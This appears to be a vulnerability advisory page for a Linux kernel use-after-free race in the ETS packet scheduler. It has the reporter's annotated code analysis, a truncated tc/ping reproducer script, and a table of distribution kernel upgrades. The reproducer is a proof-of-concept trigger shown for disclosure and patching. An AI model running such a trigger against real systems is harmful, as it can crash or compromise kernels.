In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
[email protected] says:
The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.
Analysis:
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...
// (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch);
for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); }
WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); }
// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);
ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }
Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc
Reproducer Steps (trimmed version of what was sent by [email protected])
``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}"
SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"
cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Alma_linux | — | Upgrade kernel-headersUpgrade kernel-modules-coreUpgrade kernel-rt-64k-debug-coreUpgrade kernel-64k-debug-modules-extraUpgrade rvUpgrade kernel-64k-debugUpgrade kernel-64k-coreUpgrade kernel-zfcpdump-modulesUpgrade kernel-abi-stablelistsUpgrade kernel-64k-debug-devel-matchedUpgrade kernel-zfcpdump-modules-coreUpgrade kernel-rt-64k-debug-modulesUpgrade kernel-rt-64k-modules-coreUpgrade libperfUpgrade kernel-toolsUpgrade kernel-zfcpdump-coreUpgrade kernel-64k-debug-coreUpgrade kernel-rt-64kUpgrade kernel-rt-64k-modules-extraUpgrade kernel-rt-64k-modulesUpgrade kernel-rt-modules-coreUpgrade kernel-rt-64k-debug-develUpgrade kernel-rt-modules-extraUpgrade kernel-rtUpgrade kernel-tools-libs-develUpgrade kernel-64k-devel-matchedUpgrade kernel-uki-virt-addonsUpgrade perfUpgrade kernelUpgrade kernel-debug-modules-extraUpgrade kernel-cross-headersUpgrade kernel-docUpgrade kernel-debug-devel-matchedUpgrade kernel-devel-matchedUpgrade kernel-rt-debug-modules-extraUpgrade kernel-modulesUpgrade kernel-debug-coreUpgrade kernel-tools-libsUpgrade kernel-64k-debug-develUpgrade kernel-64k-modules-coreUpgrade kernel-rt-develUpgrade kernel-rt-modulesUpgrade kernel-debug-modulesUpgrade kernel-64k-debug-modulesUpgrade kernel-modules-extraUpgrade kernel-rt-64k-develUpgrade kernel-rt-coreUpgrade kernel-64k-debug-modules-coreUpgrade kernel-debug-modules-coreUpgrade kernel-zfcpdump-modules-extraUpgrade kernel-zfcpdump-develUpgrade kernel-rt-debug-coreUpgrade kernel-uki-virtUpgrade kernel-64kUpgrade kernel-develUpgrade kernel-64k-develUpgrade kernel-zfcpdump-devel-matchedUpgrade kernel-debug-uki-virtUpgrade kernel-64k-modulesUpgrade rtlaUpgrade kernel-rt-debug-modules-coreUpgrade kernel-zfcpdumpUpgrade kernel-rt-64k-coreUpgrade kernel-debugUpgrade python3-perfUpgrade kernel-rt-64k-debug-modules-coreUpgrade kernel-rt-debug-develUpgrade kernel-rt-64k-debug-modules-extraUpgrade kernel-64k-modules-extraUpgrade kernel-debug-develUpgrade kernel-rt-debugUpgrade kernel-rt-debug-modulesUpgrade kernel-coreUpgrade bpftoolUpgrade kernel-rt-64k-debug | Jul 12, 2026 | Jul 9, 2026 |
| Debian | — | Upgrade linuxUpgrade linux-6.1 | Feb 11, 2026 | Feb 11, 2026 |
| Oracle_linux | — | Upgrade kernel-uek | Feb 24, 2026 | Jan 13, 2026 |
| Redhat_linux | — | Upgrade kernel-rtNo solution existsUpgrade kernel | Jul 10, 2026 | Jan 13, 2026 |
| Rocky_linux | — | Upgrade libperfUpgrade python3-perfUpgrade kernel-debug-modules-extraUpgrade kernel-zfcpdump-modulesUpgrade kernel-tools-libs-develUpgrade kernel-debuginfo-common-s390xUpgrade kernel-devel-matchedUpgrade kernel-toolsUpgrade kernel-zfcpdump-coreUpgrade kernel-zfcpdump-debuginfoUpgrade kernel-rt-modules-extraUpgrade kernel-rt-debuginfoUpgrade kernel-rt-modules-coreUpgrade libperf-debuginfoUpgrade rvUpgrade kernel-zfcpdump-devel-matchedUpgrade kernel-zfcpdump-modules-coreUpgrade kernel-rtUpgrade kernelUpgrade perfUpgrade kernel-debug-devel-matchedUpgrade kernel-rt-debug-coreUpgrade kernel-uki-virt-addonsUpgrade kernel-tools-libsUpgrade kernel-rt-modulesUpgrade kernel-rt-debug-modules-extraUpgrade kernel-debugUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-debug-uki-virtUpgrade kernel-debug-modulesUpgrade kernel-modules-extra-matchedUpgrade kernel-develUpgrade kernel-zfcpdump-modules-extraUpgrade kernel-uki-virtUpgrade rtlaUpgrade kernel-zfcpdumpUpgrade kernel-tools-debuginfoUpgrade perf-debuginfoUpgrade kernel-debug-debuginfoUpgrade kernel-rt-debug-develUpgrade kernel-rt-debug-debuginfoUpgrade kernel-debuginfoUpgrade kernel-debug-modules-coreUpgrade kernel-rt-debugUpgrade kernel-modulesUpgrade kernel-zfcpdump-develUpgrade kernel-debug-coreUpgrade python3-perf-debuginfoUpgrade kernel-rt-develUpgrade kernel-debug-develUpgrade kernel-modules-coreUpgrade kernel-rt-debug-modulesUpgrade kernel-rt-coreUpgrade kernel-modules-extraUpgrade kernel-coreUpgrade kernel-rt-debug-modules-core | Jul 13, 2026 | Jul 11, 2026 |
| Ubuntu | — | Upgrade linux-image-fips-5.15Upgrade linux-image-gcp-5.15Upgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-aws-64k-lts-24.04Upgrade linux-image-5.15.0-1095-kvmUpgrade linux-image-oem-6.17Upgrade linux-image-generic-64k-6.8Upgrade linux-image-generic-lpae-hwe-20.04Upgrade linux-image-oem-22.04bUpgrade linux-image-5.15.0-173-generic-lpaeUpgrade linux-image-6.8.0-1049-oracle-64kUpgrade linux-image-oracle-6.8Upgrade linux-image-gcp-64k-6.8Upgrade linux-image-lowlatency-64k-6.8Upgrade linux-image-6.8.0-1059-azureUpgrade linux-image-6.8.0-110-generic-64kUpgrade linux-image-nvidia-tegra-igx-rtUpgrade linux-image-oracle-64k-6.17Upgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-realtimeUpgrade linux-image-5.15.0-1103-awsUpgrade linux-image-gkeop-5.15Upgrade linux-image-gcp-lts-22.04Upgrade linux-image-5.15.0-1103-gcp-fipsUpgrade linux-image-aws-64k-lts-22.04Upgrade linux-image-azure-cvmUpgrade linux-image-awsUpgrade linux-image-gcp-6.8Upgrade linux-image-5.15.0-1098-intel-iotgUpgrade linux-image-5.15.0-1102-realtimeUpgrade linux-image-lowlatency-64k-hwe-20.04Upgrade linux-image-6.8.0-1051-ibmUpgrade linux-image-nvidia-lowlatency-64k-6.8Upgrade linux-image-gcp-6.17Upgrade linux-image-6.17.0-1012-aws-64kUpgrade linux-image-gcp-64k-6.17Upgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-oracleUpgrade linux-image-aws-64kUpgrade linux-image-aws-64k-6.8Upgrade linux-image-oem-24.04cUpgrade linux-image-oracle-6.17Upgrade linux-image-raspi-nolpaeUpgrade linux-image-generic-5.15Upgrade linux-image-aws-lts-24.04Upgrade linux-image-fips-6.8Upgrade linux-image-6.8.0-1054-gcp-fipsUpgrade linux-image-5.15.0-1067-xilinx-zynqmpUpgrade linux-image-raspi-6.17Upgrade linux-image-6.17.0-22-generic-64kUpgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-6.8.0-1052-raspiUpgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-oem-24.04bUpgrade linux-image-6.17.0-1012-gcp-64kUpgrade linux-image-virtualUpgrade linux-image-nvidia-6.8Upgrade linux-image-oem-20.04dUpgrade linux-image-kvmUpgrade linux-image-nvidia-tegra-rt-6.8Upgrade linux-image-6.8.0-1051-nvidia-64kUpgrade linux-image-aws-5.15Upgrade linux-image-ibm-lts-24.04Upgrade linux-image-gkeUpgrade linux-image-oracle-lts-22.04Upgrade linux-image-6.17.0-1011-oracle-64kUpgrade linux-image-6.8.0-1050-gke-64kUpgrade linux-image-virtual-5.15Upgrade linux-image-5.15.0-1098-nvidia-lowlatencyUpgrade linux-image-6.8.0-1052-aws-fipsUpgrade linux-image-xilinx-zynqmp-5.15Upgrade linux-image-generic-hwe-20.04Upgrade linux-image-6.8.0-110-fipsUpgrade linux-image-6.8.1-1047-realtimeUpgrade linux-image-6.8.0-1054-azure-fipsUpgrade linux-image-nvidia-64k-6.8Upgrade linux-image-5.15.0-1110-azureUpgrade linux-image-6.17.0-1013-azureUpgrade linux-image-5.15.0-1103-gcpUpgrade linux-image-6.8.0-1051-nvidiaUpgrade linux-image-nvidia-tegra-igxUpgrade linux-image-oem-20.04Upgrade linux-image-aws-64k-5.15Upgrade linux-image-nvidia-tegra-rtUpgrade linux-image-generic-hwe-22.04Upgrade linux-image-generic-hwe-24.04Upgrade linux-image-gcp-lts-24.04Upgrade linux-image-intel-iot-realtime-5.15Upgrade linux-image-lowlatency-5.15Upgrade linux-image-aws-fips-6.8Upgrade linux-image-azure-fipsUpgrade linux-image-lowlatency-6.8Upgrade linux-image-5.15.0-173-fipsUpgrade linux-image-5.15.0-1044-nvidia-tegra-igx-rtUpgrade linux-image-azure-fips-6.8Upgrade linux-image-6.17.0-1011-oracleUpgrade linux-image-aws-fipsUpgrade linux-image-nvidia-lowlatency-5.15Upgrade linux-image-virtual-hwe-24.04Upgrade linux-image-lowlatency-64k-5.15Upgrade linux-image-oem-22.04dUpgrade linux-image-5.15.0-1055-nvidia-tegra-rtUpgrade linux-image-5.15.0-1109-azureUpgrade linux-image-5.15.0-1100-oracleUpgrade linux-image-xilinx-zynqmpUpgrade linux-image-aws-fips-5.15Upgrade linux-image-6.17.0-1012-gcpUpgrade linux-image-5.15.0-1097-ibmUpgrade linux-image-virtual-6.17Upgrade linux-image-oem-24.04Upgrade linux-image-oem-20.04cUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-nvidia-64kUpgrade linux-image-oem-22.04aUpgrade linux-image-ibmUpgrade linux-image-azureUpgrade linux-image-aws-lts-22.04Upgrade linux-image-aws-6.8Upgrade linux-image-aws-6.17Upgrade linux-image-6.8.0-110-lowlatency-64kUpgrade linux-image-6.8.0-1049-oracleUpgrade linux-image-6.8.0-1029-xilinxUpgrade linux-image-6.17.0-1012-awsUpgrade linux-image-5.15.0-173-lowlatency-64kUpgrade linux-image-5.15.0-1044-nvidia-tegra-igxUpgrade linux-image-raspi-6.8Upgrade linux-image-raspi-5.15Upgrade linux-image-nvidia-tegra-igx-5.15Upgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-lowlatency-64kUpgrade linux-image-generic-64kUpgrade linux-image-generic-6.17Upgrade linux-image-generic-6.8Upgrade linux-image-6.8.0-2042-raspi-realtimeUpgrade linux-image-ibm-6.8Upgrade linux-image-generic-lpae-5.15Upgrade linux-image-generic-lpaeUpgrade linux-image-azure-lts-24.04Upgrade linux-image-6.8.0-110-genericUpgrade linux-image-fipsUpgrade linux-image-5.15.0-1094-intel-iot-realtimeUpgrade linux-image-6.8.0-1052-awsUpgrade linux-image-6.8.0-110-lowlatencyUpgrade linux-image-oracle-lts-24.04Upgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-gcp-64kUpgrade linux-image-oracle-5.15Upgrade linux-image-oem-22.04Upgrade linux-image-nvidia-lowlatencyUpgrade linux-image-nvidiaUpgrade linux-image-lowlatencyUpgrade linux-image-intel-iotg-5.15Upgrade linux-image-gcp-fips-5.15Upgrade linux-image-azure-6.17Upgrade linux-image-nvidia-5.15Upgrade linux-image-gke-5.15Upgrade linux-image-5.15.0-173-generic-64kUpgrade linux-image-5.15.0-1103-aws-64kUpgrade linux-image-5.15.0-1099-gkeUpgrade linux-image-5.15.0-1098-nvidiaUpgrade linux-image-5.15.0-1097-raspiUpgrade linux-image-virtual-hwe-22.04Upgrade linux-image-virtual-hwe-20.04Upgrade linux-image-raspi-realtime-6.8Upgrade linux-image-realtime-6.17Upgrade linux-image-nvidia-tegra-6.8Upgrade linux-image-ibm-classicUpgrade linux-image-gke-64k-6.8Upgrade linux-image-gke-6.8Upgrade linux-image-genericUpgrade linux-image-6.8.0-1022-nvidia-tegraUpgrade linux-image-6.8.0-1037-gkeopUpgrade linux-image-6.8.0-1022-nvidia-tegra-rtUpgrade linux-image-6.17.0-22-genericUpgrade linux-image-5.15.0-173-lowlatencyUpgrade linux-image-6.8.0-1054-gcp-64kUpgrade linux-image-6.17.0-1020-oemUpgrade linux-image-6.8.0-1054-azureUpgrade linux-image-realtime-hwe-24.04Upgrade linux-image-realtime-hwe-22.04Upgrade linux-image-raspiUpgrade linux-image-oem-20.04bUpgrade linux-image-nvidia-tegra-5.15Upgrade linux-image-nvidia-lowlatency-6.8Upgrade linux-image-kvm-5.15Upgrade linux-image-ibm-5.15Upgrade linux-image-gke-64kUpgrade linux-image-azure-lts-22.04Upgrade linux-image-5.15.0-1055-nvidia-tegraUpgrade linux-image-azure-6.8Upgrade linux-image-5.15.0-173-genericUpgrade linux-image-5.15.0-1109-azure-fipsUpgrade linux-image-gcp-fips-6.8Upgrade linux-image-gcp-fipsUpgrade linux-image-aws-64k-6.17Upgrade linux-image-6.8.0-1050-gkeUpgrade linux-image-6.17.0-1010-realtimeUpgrade linux-image-xilinx-6.8Upgrade linux-image-realtime-5.15Upgrade linux-image-oem-22.04cUpgrade linux-image-nvidia-tegraUpgrade linux-image-intel-iotgUpgrade linux-image-intelUpgrade linux-image-gkeopUpgrade linux-image-raspi-realtimeUpgrade linux-image-xilinxUpgrade linux-image-virtual-6.8Upgrade linux-image-nvidia-tegra-rt-5.15Upgrade linux-image-oracle-64k-6.8Upgrade linux-image-intel-iot-realtimeUpgrade linux-image-5.15.0-1086-gkeopUpgrade linux-image-6.17.0-1014-raspiUpgrade linux-image-5.15.0-1103-aws-fipsUpgrade linux-image-azure-5.15Upgrade linux-image-6.8.0-1052-aws-64kUpgrade linux-image-6.8.0-1051-nvidia-lowlatency-64kUpgrade linux-image-6.8.0-1051-nvidia-lowlatencyUpgrade linux-image-realtime-6.8.1Upgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-oracle-64kUpgrade linux-image-oem-24.04dUpgrade linux-image-oem-24.04aUpgrade linux-image-nvidia-tegra-igx-rt-5.15Upgrade linux-image-generic-64k-5.15Upgrade linux-image-gcpUpgrade linux-image-6.8.0-1054-gcpUpgrade linux-image-lowlatency-hwe-20.04Upgrade linux-image-gkeop-6.8Upgrade linux-image-generic-64k-hwe-20.04Upgrade linux-image-generic-64k-6.17Upgrade linux-image-azure-fips-5.15 | Mar 17, 2026 | Jan 13, 2026 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | May 27, 2026 | Jan 13, 2026 |
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub